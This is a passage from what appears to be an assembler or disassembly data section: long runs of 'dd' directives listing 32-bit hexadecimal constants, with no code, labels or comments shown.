5D765986h, 2E43D3h, 3342D85Fh dd 0FFF9F1A1h, 0BCE070Bh, 1E7C237Dh, 0DCBF0A0h, 0D1B0139Dh dd 0DD488278h, 8A6361C0h, 7492E00h, 252C1613h, 0F8F11895h dd 9C89F197h, 0BC0B1800h, 0EB3CC37Fh, 9FCB3930h, 8C9CD83Fh dd 0D3B0021h, 0FE0B0938h, 281D5CB8h, 0BF8083ECh, 0A38BAFF1h dd 77A928B0h, 0D84200B3h, 2A98F85Ah, 0CD0A0455h, 0CCEBC569h dd 0E1854880h, 7C21DC74h, 3120265h, 1D051CECh, 55035472h dd 38D7D0D5h, 6264C843h, 7783F472h, 0BC0A1D16h, 0D38FFE0Dh dd 8A80AC5Ch, 0CA7F9464h, 9E0FCC01h, 0A815CF01h, 6C1CE8h dd 3D244C7Ch, 4F6623Bh, 299D002h, 585B2DA5h, 12B40198h dd 89BA24D3h, 3ABDE84Ch, 98928179h, 79A4A71Ch, 0B4034757h dd 80F2F88Ch, 4D3D1Bh, 9905AD6Bh, 645D39D7h, 0D4A5213h dd 0A6DC0000h, 6BB104h, 98205A2Fh, 18DF1ABh, 3ECC5130h dd 0AFF22D0h, 90715878h, 8F313CD8h, 13E0DB10h, 5B88C0F7h dd 20E0903h, 0B900C29Fh, 80463ABEh, 1362B601h, 0F108A6A9h dd 9447C8h, 0EF785BA8h, 33A1A4D1h, 0BC2CEB00h, 3FECCBFAh dd 7617060Ch, 299F930Dh dd 8175A103h, 0E51174h, 8EE14FF1h, 0D740BCD5h, 1FAC958h dd 3CAECBC5h, 0B42458B5h, 0A18E00D1h, 17EC681Ah, 9900B6ACh dd 0C8CBC1B3h, 7A22Eh, 0BE45EF42h, 3393FD6Ch, 0E2438800h dd 58A0CA83h, 0B0793Dh, 0F70B4D7Fh, 1641D3DFh, 19179900h dd 28F16AC8h, 5AC23062h, 0C991F420h, 2F681E00h, 36D39BF2h dd 21641EEAh, 9AC3C0D2h, 6F4BCAF5h, 250CF100h, 9DEDADD1h dd 0BDB2096Bh, 88209C83h, 72A39E40h, 0FA11FB65h, 302B0478h dd 4B309EE4h, 8672A58Eh, 97353B0Ah, 0E300DC15h, 1F63BD1Ah dd 6CD9008Fh, 0B617D4AEh, 40069DDh, 0FE469091h, 8C4513h dd 440771E5h, 66F6D855h, 1A5AAC00h, 94B1FF3Fh, 5CD200F9h dd 73CF901Bh, 3B002AB3h, 0F4F6335Ah, 0E1DB55h, 0ACB135A1h dd 16D37DD9h, 56285007h, 6770181Ch, 745A9CAh, 0B00686C1h dd 58D87009h, 1B00E9D6h, 2083416Ah, 45922Bh, 0CB7DF4B3h dd 1F38F5BCh, 82D06300h, 23475911h, 0E9F10071h, 0A7728F09h dd 350015AEh, 9F6CE418h, 64ADC4h, 0AC4B9710h, 3C2A390Ch dd 59ECA000h, 0E8AE063Eh, 613300C4h, 9636B992h, 0F000F31Fh dd 4DD8D96Fh, 0FE715905h, 0BCB60388h, 2D7721D1h, 3FD4FCF8h dd 4C2A3707h, 58AC0B9Dh, 0D3B501D9h, 64B84006h, 2AAC7C1Fh dd 1A008C5Eh, 90EEA4A9h, 90F704F1h, 0C7D60066h, 8F82B6F9h dd 0FD71A06Dh, 0DA270803h, 0D033606Eh, 0C04E6676h, 3BA181A8h dd 0CD1C2863h, 0BAD5BF2Ah, 73ED00FCh, 914E161Ah, 0B92201FFh dd 7828364Fh, 1C96305Bh, 8DD0E200h, 0D6AC1FFBh, 1E657BEDh dd 8082E68Ah, 0EEDA6867h, 3C0041A6h, 9729DF05h, 1F305A03h dd 0C0BA86F0h, 5C7D3A3Fh, 0B2608909h, 1135DFDCh, 0F0AE01D1h dd 4097B813h, 20D4C953h, 603A433Ah, 0DA6F930Eh, 7E50D103h dd 29BAF1BEh, 7187DCh, 0EF7A3E05h, 0DDBDCDCCh, 754BB70Fh dd 821C4691h, 0D1590056h, 8A906958h, 0C1E89E1Fh, 0FA4E3300h dd 0E7972330h, 18B50042h, 0B3A06302h, 4004CFA9h, 0CD8198DEh dd 0F0D1BBC3h, 2663034h, 0D862838h, 868AD7Eh, 931F4D75h dd 0C20358BAh, 0A88C3AE1h, 30A950DEh, 0A1A8BB67h, 1400D1A2h dd 0B871F873h, 0F149EFh, 79250ED7h, 0C8A5BE6h, 315B158h dd 17A9AC68h, 712DD173h, 667E30h, 0E0674714h, 0C535A57Ah dd 9A58B460h, 5A97CFh, 0DD9FD3ECh, 41E6945Eh, 0E4CCB324h dd 0A468AF9Fh, 68FB8F00h, 0CEA8E5D9h, 72A40073h, 0AC90B21Bh dd 0FF30EEA2h, 0ECBE814h, 20FD00A8h, 742F50F8h, 0BB00D71Ah dd 60A9DCCh, 41F9597h, 0E90361EEh, 0F528808Dh, 0F6105FC3h dd 1911A68Ch, 7D921FA9h, 5A9B3300h, 7E08E9h, 994E0952h dd 0F46C56B8h, 0D2D46600h, 33E8ADFCh, 0D51503BDh, 4F53FF60h dd 8880B80h, 5B4D2500h, 59949DE8h, 0A9D43CCAh, 8AE7EA01h dd 0C4077C42h, 62005085h, 1838B53Ah, 0B427EDh, 0EAD7C23Bh dd 10A1F857h, 2E0BC900h, 0D94E517Eh, 473C0199h, 61410245h dd 621CC4AFh, 89375C00h, 0F7B75426h, 5C724C69h, 0CAF97401h dd 0C01D99EDh, 960030C4h, 0A518791Bh, 0FB198Bh, 0AE1F8844h dd 2066C3E9h, 0CC2B66C0h, 12773Ch, 0E4D107A4h, 0C1E0316Bh dd 3307A978h, 0D84A091Bh, 0E3BCAEE9h, 0D022A20Dh, 1F2535h dd 4F90238Bh, 15940283h, 7FC99C03h, 0B98205E2h, 7DE854E6h dd 0D4E70036h, 7109293Dh, 88A0687Ch, 0B3AA247h, 954200E4h dd 738FDDAFh, 1027651h, 0ACB2657Bh, 806A1330h, 0E1086D31h dd 1C735CF0h, 542A21h, 91159BB1h, 35F837CBh, 6639CC0Fh dd 6FD7810Dh, 0D2DD20A9h, 0AD01007Dh, 0BC0F90E9h, 68E8403Bh dd 0DE78F67Bh, 10FD9B33h, 9EFAB970h, 0BEC470h, 226EF582h dd 8CD19384h, 78E8BA00h, 0E954EAF4h, 7A4890DAh, 0A5173C51h dd 0BBFD3400h, 242A4AD1h, 6BB5EB12h, 4914E840h, 0EE87D8BEh dd 0D2580FDAh, 0AC24C52Ah, 329CD244h, 19FDAC98h, 0AB580083h dd 0CF3D5BDAh, 0BC00277Fh, 7DFDFB3Ch, 396CEF51h, 7B14824Eh dd 0BA009078h, 9B3F019Ch, 20FD37C0h, 91000C52h, 0DE85F9B2h dd 6497EAh, 4F182990h, 2768443h, 0E4019490h, 0CAE2926Dh dd 0F0F0D941h, 0DB680781h, 20D71105h, 307D5B3Fh, 23895900h dd 0DC1B8321h, 0D8480CDDh, 7890665Eh, 0CEC9FA0Ch, 0F1222Dh dd 6F78830h, 0B018C31Dh, 11C51A1Dh, 8143E0CEh, 0B5D39116h dd 0AA0E562Ch, 0ED80CBB3h, 12E4EA5Ah, 0A95B9202h, 603D5F44h dd 482AF2A9h, 910FC190h, 0DC60C518h, 1C6CCA56h, 78A0B500h dd 0C95EB096h, 0EF5A0574h, 80A69434h, 99F8B432h, 1B6CC600h dd 46C9B83Bh, 2E5F00E3h, 0D0F76BEEh, 33004B0Fh, 0F4E564C7h dd 505D1149h, 73FEABC9h, 92A00A72h, 0A84DE8h, 9198E9EDh dd 0D600015Bh, 0DA09232Ch, 8CFC4Fh, 509B240Bh, 7B95CD59h dd 299DC207h, 0E767FE26h, 0E26E8E1Fh, 6846A7D5h, 0BF6994h dd 0B9DC2FD6h, 22FC4811h, 0E5BB8600h, 6324B7F0h, 1E6D00B0h dd 8B47C215h, 341864E9h, 0E1862C9h, 0F22B04E5h, 90D4AC95h dd 3D1E32D0h, 85387CEEh, 0DA6500F6h, 192D42CBh, 0DD70002Bh dd 9EAB7F54h, 0F300B6EEh, 1BEF2685h, 12FF663h, 2A30374Fh dd 0E871B98Ch, 0ED25514Ch, 58781092h, 0A364A5Ch, 26FA9F90h dd 8AD305C1h, 20DCD0A1h, 500358B1h, 75A0EF70h, 0CBACA048h dd 56E41F1Bh, 0D3147E5Ch, 30B18A4h, 54004C98h, 20EC7813h dd 0CC038F74h, 86A2C616h, 0E43DA84Eh, 0B10900F8h, 21EC77C9h dd 0AD03BB27h, 0E19C3CBh, 0C14D070h, 0E5491235h, 7BF8448Eh dd 4B9CA415h, 5B907866h, 75A70580h, 517747Fh, 0DDF4910h dd 0F850191Ch, 0E600D1ACh, 6369C1B9h, 70984h, 0B01CAEA3h dd 0CEFA3168h, 2FCB801Fh, 0B79C10A5h, 0C99800D7h, 0F2D5AFDDh dd 69060308h, 543A8257h, 5C9B09E8h, 74470C61h, 58FD0448h dd 2D0091E5h, 35AE310Eh, 0AC395Ch, 75DAFF53h, 6EFA30E9h dd 276BF000h, 38312EB8h, 7000F169h, 26000D55h, 27082DC1h dd 304355Dh, 1AE8C22Ch, 3E0AD2Bh, 0D0F9B416h, 0C900AF32h dd 52C8330Fh, 0C08FDF11h, 233D3120h, 0B307491Dh, 0C314162Eh dd 8F3F612Fh, 5C4BBC29h, 60928209h, 15326C00h, 99004A51h dd 0BD55AA2Bh, 4894583Dh, 8200902Ch, 0BEC75C57h, 90ED2132h dd 2A847E29h, 4153482Eh, 74B3C0Dh, 26DA42B8h, 3C217F24h dd 10961234h, 5B89307Bh, 35451808h, 2229C646h, 742481Dh dd 211A6A11h, 82B7104Eh, 2C66543h, 522220AEh, 43372253h dd 44272F24h, 0DB185645h, 893BF629h, 303C41CBh, 100A1243h dd 83407AAFh, 0BA14A3F7h, 79DE264Dh, 2515CB00h, 0B5A22607h dd 0F2960016h, 3E9A630Fh, 0E009FDCh, 4F2EED58h, 5E3698h dd 101182EAh, 0BC9477C7h, 0F2642500h, 57D5C387h, 2BE60076h dd 7F3F1A7Ah, 891EFD32h, 12467822h, 41879D8h, 0E6DD2C8Bh dd 75F8B43Ah, 80F630EDh, 0FE0032E0h, 132F4805h, 38BFA3CBh dd 0E481C84Bh, 5B281B8Ch, 0F482D0FDh, 8E45B600h, 730CE615h dd 0C1920B05h, 3880D9A4h, 4E2DF25Bh, 1BA473Dh, 2F84DC74h dd 35ED22B7h, 44247CFDh, 0E2E9072h, 84F7E9F4h, 0C08E2040h dd 0CB036EFDh, 0BACA590Ch, 0F31F9039h, 3A7C2E0Bh, 0F9CC00F0h dd 44307797h, 0D1381001h, 4A083578h, 7890B4FBh, 30698219h dd 6C2873A8h, 4400B3DDh, 8D9C8FD3h, 67D47405h, 0A0118EE4h dd 896E5CDBh, 0BFBA800Fh, 0AA36A12Fh, 29CC44E6h, 3CE4E5h dd 8D7F9E17h, 0F3CC71BFh dd 30244700h, 23D3EBA7h, 0F4B90028h, 0BC3A56A0h, 8D00729Fh dd 6C1D49DFh, 9BB6B61h, 0BD69F2D1h, 9BA50780h, 2200BF09h dd 0EB731CC6h, 3E87264Bh, 6D807716h, 29A061B6h, 0B000F7EAh dd 0AE516C09h, 2A3C45h, 159689C5h, 0BC904FEh, 0CF25A800h dd 0DD21FCD3h, 0F6E63Eh, 0B336BBCAh, 0AAD159EFh, 691838C1h dd 0EC4011D9h, 265A31DEh, 5C38h, 0AFE068D3h, 4903181Dh dd 3C7AEA0h, 80C09515h, 220F80h, 5EB448D1h, 6DAE974Ah dd 830023F6h, 8D7DF4C0h, 1EB51DCEh, 0C0D0274Bh, 9398A257h dd 0ED767505h, 0B01B7400h, 0ACB3F74Ah, 9CB803E0h, 84A96DFDh dd 4570AA8h, 0D41D034Bh, 9E4A923Fh, 1781C080h, 0C09D2ED1h dd 0D7450F60h, 0AD3245h, 1287A794h, 73002990h, 0C5953D1Dh dd 92DF84h, 0D0F29F4Bh, 0DCD93C47h, 80EA300h, 8AFA7E07h dd 2E3F00ADh, 656866F6h, 0FB3A49CBh, 0E0EF7238h, 0C6FE5A0Bh dd 94DED326h, 64CC5F80h, 8410F4h, 73ED9A85h, 0DAA3AE15h dd 4DF88C00h, 61C4D734h, 0FE1400A7h, 1763CC13h, 0E0E92498h dd 0B0942A2Fh, 0BC1CFF01h, 0D0CA58D1h, 20A61264h, 729F0385h dd 2DB80C59h, 8F0063A5h, 4509A432h, 0C0B7E5A1h, 64F6E9F0h dd 23F4062h, 810E80AFh, 79C52F3Dh, 0EDE504A6h, 80B02C54h dd 0F1CEC408h, 0BE44E700h, 0DF42FE07h, 675B2D4Ch, 3400AC0Fh dd 0B63914F7h, 0EB07E778h, 26B1073Fh, 50626C10h, 0A316280Ah dd 98150080h, 88C59011h, 0B400BFE1h, 646BB32Eh, 79E6E91h dd 33950D0h, 8CE283B2h, 1D3300F7h, 8400D269h, 0BE1C4F17h dd 0EF9D8Bh, 0D3EAA5C6h, 0DF2BA6EBh, 3CC12400h, 0ADE0785Ch dd 3FCDF277h, 94002D1Eh, 0BE8CD9EDh, 95005E4Ch, 15747C0Ah dd 9EEEDF7Fh, 13DC0028h, 0BBBE5F6Ah, 6DC12800h, 80EAB99Ah dd 0DFAB0029h, 891C2A0Ch, 0FE390867h, 332403A6h, 0E0E25C72h dd 95D90Fh, 611D6E65h, 0EC816849h, 0BF000771h, 0D467458Fh dd 50353B96h, 1DD8A482h, 0C4EF70B2h, 0A879A9DBh, 0B1B0094h dd 9277D4F5h, 0B59A00EBh, 4AC190FDh, 9124A7B9h, 8600648Ah dd 3D2B9B18h, 0E301009Fh, 0CDE773Fh, 0AC0272E4h, 0DB7BF575h dd 0E00447Ah, 0B6ED2610h, 0A3B22C40h, 0D6018470h, 128B80D2h dd 0CD8E768h, 5AEC05BAh, 42A028h, 717DD099h, 88EA8E6Ah dd 3F00177Ah, 0E106A937h, 0EAAA0Ch, 95491019h, 9A2269DDh dd 6D582C00h, 5C2813EFh, 37E004EEh, 0C565DCA0h, 0DD1A00D0h dd 4D0479FBh, 0B3C9AC14h, 0A0CF25B4h, 75B50E9Ch, 3E4A0050h dd 8479C9E3h, 17FCCF37h, 0DA00A9F4h, 7357B941h, 2653902Bh dd 40C9676h, 9CA0A199h, 0CF01BC90h, 8E071B1h, 834506Ah dd 528A0755h, 0B47F1E30h, 6C0CD0A7h, 0D800B4DAh, 0B607C146h dd 3BCD3E18h, 85ACA341h, 0E3FA0F1Ch, 0F1330CE0h, 77042CE2h dd 71E7EB18h, 6AFC0C80h, 323E0704h, 92A4ABF8h, 4340F441h dd 830094C8h, 0EB6661F5h, 69FA3Bh, 0B351865Eh, 0C668B0A4h dd 8A63E100h, 0BB3ED77Ah, 155A0085h, 7833F45Dh, 0EE0089ACh dd 0E18626C8h, 9B1D61h, 9613763Dh, 0B5526F7Dh, 6C284A00h dd 0C66721F4h, 1F7201CEh, 0E003AD94h, 646060BAh, 80331B0Bh dd 4FBD00B2h, 1CD59302h, 3095196h, 4ADB8D73h, 69B5CCF0h dd 0DAA430EFh, 0C900D3ECh, 0FFA24889h, 75E0373h, 578675AFh dd 0E25DD33Ch, 64D95989h, 7E00C684h, 81CEBDBBh, 50E004B0h dd 0ECBFC66h, 55B80150h, 0A5A97100h, 1D000CAFh, 88F0543Bh dd 0FA990A07h, 0F66734Ch, 0A885A690h, 0FB9147FCh, 45E67275h dd 4805E0F0h, 7B6A4EECh, 0A59DFC00h, 5332BBCh, 1312CC6Bh dd 0EEF44018h, 0A53E1677h, 0A3E37F00h, 0F5EB5632h, 9CAB98E0h dd 49AA00D0h, 4334B14Fh, 0A6B9D00h, 0ABDAB275h, 0C6D71C3h dd 0B762AE0Dh, 8B26A0F0h, 27009C93h, 69056310h, 0CEAE0061h dd 8F494D95h, 0C2B82652h, 7C88101h, 0EAB58DD5h, 0E4D4FE8h dd 5A251FFEh, 56D69F62h, 0A73124C0h, 0E595B100h, 0E001D5F8h dd 511509DDh, 0C48046B5h, 0E7AA5ECAh, 0D8E3Ch, 7819DC70h dd 1C0D0E6h, 5CA7CC5Ah, 0F40E9E6Bh, 0B5003E7Fh, 0E8A0E537h dd 0D44F81h, 0A2946167h, 4D2AF97Bh, 95AFE900h, 3BDC43E4h dd 0D9A7097Dh, 1000B9D0h, 10A2EB74h, 93D7C200h, 0C4631260h dd 3627027h, 0AB9D8330h, 0C59057FCh, 1400BD19h, 0E366CAA5h dd 982FBAB9h, 93652665h, 0F64507E0h, 80C81447h, 8A9F210h dd 0CC42442Ah, 0DB025CFAh, 3EA35056h, 0BEBC600Dh, 4FE900AFh dd 5C23302Eh, 9300A99Fh, 0F4B20AEFh, 0D98FBA8h, 88ED77D2h dd 9CB4C8B1h, 400AF801h, 0B5B48CBh, 17A90EF0h, 404AE8D1h dd 0ED649FC8h, 0DC7F54EFh, 0ABDEA100h, 79906B92h, 5ADD0FC7h dd 7E03F6D6h, 0B0CED3EFh, 60B21A16h, 0F08A3088h, 65CA0658h dd 0C279263Bh, 0EA24CD72h, 7028DF4Ch, 901CE0E2h, 48C08609h dd 0B74015F8h, 36A3AEEh, 9A0159BBh, 0B6DCC030h, 0F616C0C2h dd 0EB0052F0h, 74DE6748h, 10DD656h, 1C778FCCh, 921ADFh dd 0B02C95EDh, 4AEF6754h, 0ABA880CDh, 0E82C8CB6h, 0E9805CD5h dd 0A24B8E0Ch, 0DC5D00E4h, 9AECA011h, 68731BF3h, 374DC400h dd 0F7962836h, 0CB50B42h, 0B28066DEh, 8BFF83A3h, 80DF9C00h dd 7C0D6BF3h, 0D015025Eh, 43F1BF2Ah, 7A0E5078h, 0E0175935h dd 8C36C47Bh, 0A49215h, 7AA02306h, 750BDE70h, 0EA022800h dd 86340CD5h, 0E82E136Eh, 1FD00349h, 50125004h, 9CA03C88h dd 95AC0112h, 0FEBB48F1h, 8679C4EEh, 168D758h, 0DF907D8Bh dd 88D47338h, 0F7540026h, 600AB194h, 0DB3DE3C7h, 2158051h dd 0F61204Dh, 2F270005h, 0CD2DB67Ch, 17005E72h, 0B43675A3h dd 359BF2h, 0F34B1832h, 9D2CAC94h, 7C038700h, 0AECD9CD0h dd 0B6340FD5h, 0F2406ABEh, 0ADA5646Eh, 5772606h, 1C21C4D6h dd 89383B66h, 0CC10F363h, 292E74F2h, 2201E1B7h, 0EC4FCBCDh dd 0E85F8670h, 0DC790F9Eh, 0C7A0AEBDh, 6AA1653Ah, 0B1EB4C00h dd 0E3FB7481h, 0F1D7D94h, 0BBC9524Fh, 0F9DC009Eh, 0ED2F921Eh dd 0E49AC500h, 19A1850Ah, 81751FF0h, 2CCB82D1h, 0DC8EE52Fh dd 0E8A95A20h, 1F008942h, 1BF4192Bh, 0B00886C9h, 68B10064h dd 0E8E47241h, 0FC00ED0Bh, 267B78E1h, 32CB69Fh, 0A015B2FAh dd 97F08D72h, 847B7516h, 1424BA00h, 9B32517Fh, 0CBF80020h dd 0B469571h, 290028D3h, 0F336581Bh, 1DDDC575h, 40EE5D14h dd 9543A1F0h, 20071BAh, 23C8640Eh, 4D7D260h, 574155CAh dd 6B08D0D9h, 3107C4B9h, 3F48A152h, 0C784900h, 82654CB1h dd 0D06724h, 2EE90ACFh, 13003A7Bh, 8B84CE56h, 64F91Fh dd 0BAC21192h, 0AB8E76C1h, 0F1F8A87Bh, 94D6C403h, 0D883ADA6h dd 34A569h, 5F740133h, 736797E4h, 8085CD3Bh, 0D2B554ADh dd 920584h, 0FED423A7h, 3CD19EFAh, 0D9531601h, 2A5EEBAEh dd 3C0D58E8h, 0F80C00Ah, 45E8A5C4h, 73029A7Bh, 19D9F1B6h dd 20C647Fh, 0E04BC7D1h, 6050A0C3h, 55C58E06h, 938A4E4h dd 3BB76EFAh, 8D480C16h, 0D63A1637h, 12E84A0h, 3390CEC4h dd 305FE3E4h, 25CD46Ah, 20E8005Eh, 132F458Dh, 891E0725h dd 0C0B26DD8h, 4C76E578h, 80AE2D3Bh, 0DA581CC5h, 1141AC7h dd 0A377DFCBh, 203DCD40h, 0BB021964h, 0F18B1391h, 0F856E9h dd 0A53C2987h, 5554E29Eh, 63730CBCh, 23EE7018h, 1DD7B721h dd 40A93B13h, 1F88CCC1h, 6E4FC56h, 4858504Ch, 487D01E2h dd 0C9E5AF24h, 0C8F3430h dd 0E4D5EC76h, 2C7A3A30h, 40EA4B2Dh, 149427Ch, 604A93E5h dd 70841DF7h, 6D00F26Fh, 0B372F6B9h, 0E4E1A1C1h, 0CB3B00C6h dd 68811D97h, 0F0B88099h, 0CFE06E03h, 0E8374AA8h, 0C078FDE4h dd 1CBC9E18h, 5507FB71h, 15692663h, 0F2EA7F50h, 0F3080CB1h dd 46A03589h, 0FE8434E1h, 8153233Ah, 52FAB3E8h, 0CCD45FC0h dd 8BB2008Ch, 493787C4h, 270035B0h, 0CE632D0h, 926214h dd 654AB675h, 702A47Ch, 0D067D303h, 8D3CAFh, 0A0619210h dd 97E34C51h, 77841900h, 0EA303ECAh, 17603A2h, 0B5326F8Ah dd 0F6CF80D0h, 7020B000h, 0DB3D3A6Ch, 0DF740439h, 0F08AAEB1h dd 0C2C57E68h, 0A440D9A0h, 0FE56FF82h, 0E7C2542h, 0B780E047h dd 162AD39h, 7551007Dh, 0B5B8D0F3h, 0A300991Ah, 0A7491F21h dd 220C42h, 0AEC8658Ch, 7BD52723h, 0BD1B0900h, 0D9B6620Ah dd 0B0772CB3h, 57FA0030h, 0FC20A910h, 1C07D05Bh, 9520ADF4h dd 14FA4A0Ch, 0F0247BDBh, 76772A00h, 2DE49C5Bh, 92DA923Eh dd 5C01D05Fh, 3F59D6B6h, 0BE1B60h, 1F0B4B87h, 1D20BC29h dd 0A7308378h, 7D6B100Dh, 0CCD106Dh, 37821806h, 4C9FCB7Ah dd 0AB0457ECh, 0F0893F5Eh, 1A5BB10Ch, 0A6FA70C0h, 0F8775419h dd 879006h, 0F87E9FAAh, 0A88E0168h, 6CD92001h, 7C2A839Dh dd 24220120h, 4AAA28Fh, 8088D4F1h, 99D1C130h, 74EFAB03h dd 0B2C4FE2Ch, 0E1C18CA6h, 53E13F3Fh, 93244680h, 0CEE9BF29h dd 0C10040BEh, 0B17F7132h, 4D0D0062h, 56D7915Eh, 0F4005C7Ch dd 2193BD65h, 929DF53Eh, 402C01C8h, 0F3A68962h, 15C680Fh dd 58EF0CEDh, 72C868DCh, 0E1B800E6h, 4D964544h, 80A13974h dd 46D9CFA7h, 0A5118772h, 34B09D9Bh, 0F15D0Ah, 7503384Bh dd 4F44E57Dh, 69B82F78h, 3FE15B0Eh, 4129A2C9h, 0F655E25Fh dd 0DA1100F0h, 5374010h, 75E3B500h, 0BEC43CBCh, 0E43D3C68h dd 77D8F600h, 9947FACCh, 0C3F99103h, 0A3DE5972h, 0B813B368h dd 0D3BF2h, 0E54E1DF6h, 58F4B3E4h, 6505700h, 0AEC37BD7h dd 84DF5D8Fh, 60F08805h, 0C4348141h, 7ABFE82Dh, 5437CF0Bh dd 8D54C1DEh, 525EFF8h, 27160AD4h, 0FBD40089h, 0AC23F86Dh dd 0D0521E01h, 0F0FDADB9h, 7DD65980h, 0EC6FF2B2h, 0E0523C25h dd 3BE0594h, 0E6D2B9Dh, 6110CBC7h, 85800D2Dh, 21F22B8Fh dd 0FDA8C300h, 0BF6EE8ADh, 0F55F065h, 99375E3Ah, 60440E27h dd 0F3B67C2h, 2BF85D03h, 0C8AB8F72h, 55C186h, 0D104D895h dd 0FB45E3BFh, 61C5E900h, 79B31A7Bh, 828002Ch, 0D8EF4C6Bh dd 35004DFCh, 83C7692Dh, 7EAADFh, 27EA3FE2h, 0D79F2101h dd 0EF8AC00h, 33A3E526h, 6740019h, 0D3DD56A4h, 2F004469h dd 5E1BFE81h, 3A7AD4h, 0D54917CBh, 785BC1C5h, 420071E0h dd 6635A4A2h, 41C95Fh, 827BBB1h, 47632326h, 10B49230h dd 0E941FF7h, 31A3D7DBh, 7D67FB20h, 1248F370h, 0CFBE07BCh dd 0D5B0A1D3h, 3908DCCh, 0B1FD3F02h, 110098B8h, 1C83ED7Bh dd 0F6171Dh, 732AE85Eh, 24AC7182h, 0C42D440Fh, 6A9DA0AEh dd 18CA479Bh, 0C9E3058h, 0C9087ECh, 94D7714Eh, 0FB228D30h dd 242D3F38h, 3CA8A4B0h, 99E09121h, 4E11BA04h, 0A88133C5h dd 2B7BBEh, 0D80B0DD0h, 8C1FD9AAh, 918048BAh, 0C87CB436h dd 78A400C1h, 0B2A249F1h, 9EFA03C7h, 60419526h, 74C43403h dd 0F9FBD0BCh, 0A7C5003Bh, 2575453Ah, 1C008880h, 0C6C92196h dd 70AE24FFh, 0B68B00ECh, 597E5866h, 9C07CA2Ch, 209EE194h dd 0A52D60A0h, 81C8004Fh, 0ED61BD6Ah, 24008372h, 0F22E9D42h dd 667CFF0h, 2C75EBFh, 4800209Ch, 0AAB27B50h, 0B81F1DBh dd 4663052Bh, 0E5EDFC80h, 600FB5Ah, 7AA8E221h, 6C5B3Fh dd 32F39910h, 4B43C3EAh, 0BF9F4E00h, 4D8FDEBCh, 8B9391Bh dd 0FCB20070h, 1F86680Eh, 7630A4E2h, 0D0E0BC41h, 7DA7D74h dd 936A0655h, 47714C15h, 21402000h, 9819EC3Bh, 4DA500A6h dd 0EA4585A1h, 9603F6E5h, 55ADCB7Ah, 0A55800D9h, 775FE67Bh dd 0B4009395h, 5DCE6D41h, 7F3BCCh, 693C99C7h, 1223D65Ah dd 0E86398C0h, 20971Ch, 6BC489Fh, 726BA0B3h, 7F295C00h dd 67C9AE0Bh, 3081E185h, 97C0B8EEh, 8024E975h, 500C2B60h dd 1CE83807h, 8088D8D4h, 6C8462E4h, 907F739h, 9A319BEFh dd 6B8ADF30h, 0BDAC054Ah, 6A680Fh, 4515680h, 0AB712877h dd 4B7C8A01h, 0A6E220FCh, 0E84EDC60h, 64E414D0h, 3114D681h dd 8D009015h, 0B659E3A9h, 984CDEDFh, 0A40C0069h, 3A5CE216h dd 694800D9h, 0D58F272Ah, 2D3DB2BBh, 0FB528464h, 0B5C0B888h dd 0E986B78h, 9BEB2A6Ch, 6D8380BFh, 0A22F20C7h, 0B30B3Fh dd 637B9001h, 0C19F10h, 67951533h, 387436C8h, 0BC078BE2h dd 7A24B3C0h, 80678D0h, 85A93E8Fh, 34BF1802h, 0F480C6CDh dd 0C35BF1B0h, 0B24FE3Dh, 80934E73h, 68D49D77h, 18E90350h dd 0D7387B95h, 0A9C80EBBh, 1F7A5D01h, 6D6B7200h, 3AA81D4Dh dd 0B5B6002Eh, 0A04B133h, 6217A9FAh, 7800EBDAh, 4782326Dh dd 0B57A00B4h, 53680D4Dh, 0D10044D8h, 3DB72218h, 0E0B8E2AFh dd 4AD6004Ch, 0A101C49Ah, 0E8000DB2h, 3B5A2F79h, 0E343933h dd 70BC038h, 64D3FF00h, 0BB07AE67h, 0F8CC62D2h, 6CB9AC80h dd 4F0E1654h, 3C8001A6h, 7056392Fh, 14004143h, 0D167EFA7h dd 7A5ABC23h, 109600B8h, 37EEBAFAh, 970F8B21h, 0C0B3E551h dd 0B5A653B0h, 74BE0309h, 9A4C166Ch, 0CA5ED3C8h, 0AE62F600h dd 0EB0683B7h, 0D9DF0002h, 7CEE7274h, 0AD00C934h, 59364F77h dd 7FEBA433h, 0D530000Ch, 0BEE16DA7h, 800D2B6h, 0FB7232E7h dd 6762D984h, 0CEA1CCFAh, 84216A09h, 2515C771h, 19DCE8A0h dd 1F4C2900h, 0B998FD7h, 0BF4E0D4h, 41CD7D59h, 0AAFC1780h dd 0B9008D87h, 5A9E7C1Bh, 6F5BD6Bh, 39A5B3B1h, 0DB00F897h dd 9B781703h, 1E624h, 0BF48717Eh, 9E4DCC16h, 8BE56C3Bh dd 8534E34Ch, 6EC03E9Eh, 0B0653Dh, 0B8AE29D3h, 87D7F25Ch dd 0C1A51900h, 948BA3F3h, 2817274h, 739821EFh, 0D861B6A2h dd 400FEDA4h, 0B92F24B0h, 7D9AEE00h, 477C5EFEh, 9F36001Fh dd 993BAD81h, 0D300507Ah, 7F315CD1h, 4EC1D2h, 109FE575h dd 0CB234B76h, 0CF652200h, 0DEE16CE0h, 0DCFD0102h, 2CCD8BCCh dd 0FA9ED87Eh, 0EA09EC02h, 804397DDh, 4F415AE5h, 0A2820091h dd 0D171AB9Fh, 990034F0h, 4723A7Fh, 470B2Ch, 1A1E1F53h dd 43F0F440h, 4B155103h, 0C0BB27CBh, 687B9Ch, 99381F60h dd 0B66D483Dh, 2F1C342Ch, 0CC095000h, 768D2EF6h, 843A0049h dd 53D4A065h, 217AAF16h, 7B42FF00h, 0E8624789h, 509C01D6h dd 0E7CCC8BDh, 1C588049h, 243ECBBEh, 2D680A5Eh, 0E88A23h dd 0F09512F8h, 4AEA76FEh, 1F00924Ch, 0B4CDFBBh, 4C5C1114h dd 170071C7h, 6B90C1E9h, 0E11C552Dh, 1940EBD0h, 37667E59h dd 0E62114EDh, 16009DF2h, 735377FEh, 0FA00CFA1h, 2188F4BDh dd 0CB0AE8h, 0DD229A69h, 0BF03CD91h, 34C59B00h, 3C8365A8h dd 0E21500FAh, 8A6F7B1Ch, 9A025F19h, 82E058A1h, 2FAC6061h dd 59FC0035h, 494BE41Dh, 0E10093CDh, 3260403Dh, 900EECABh dd 8AC70090h, 0C94CF13Bh, 40122ADBh, 0E7BCB105h, 56D73F00h dd 640CB563h, 0A74E7601h, 0AD0ED962h, 135B7C64h, 0DFC277h dd 4ECFE70h, 0EE01E7D5h, 84CDF64Dh, 12D4721Fh, 5E4001CEh dd 3CD86683h, 71BD8B4h, 6E539414h, 33E20B8Ch, 2A50009Ah dd 1259014Fh, 1BE6F5h dd 5D9B2BB4h, 0D7B850C6h, 731D3904h, 4480DA12h, 0B23FA2h dd 81CF9099h, 522041E9h, 36AFB71Ch, 675B8A80h, 1E7179h dd 9383C1E5h, 0C3B61262h, 28639100h, 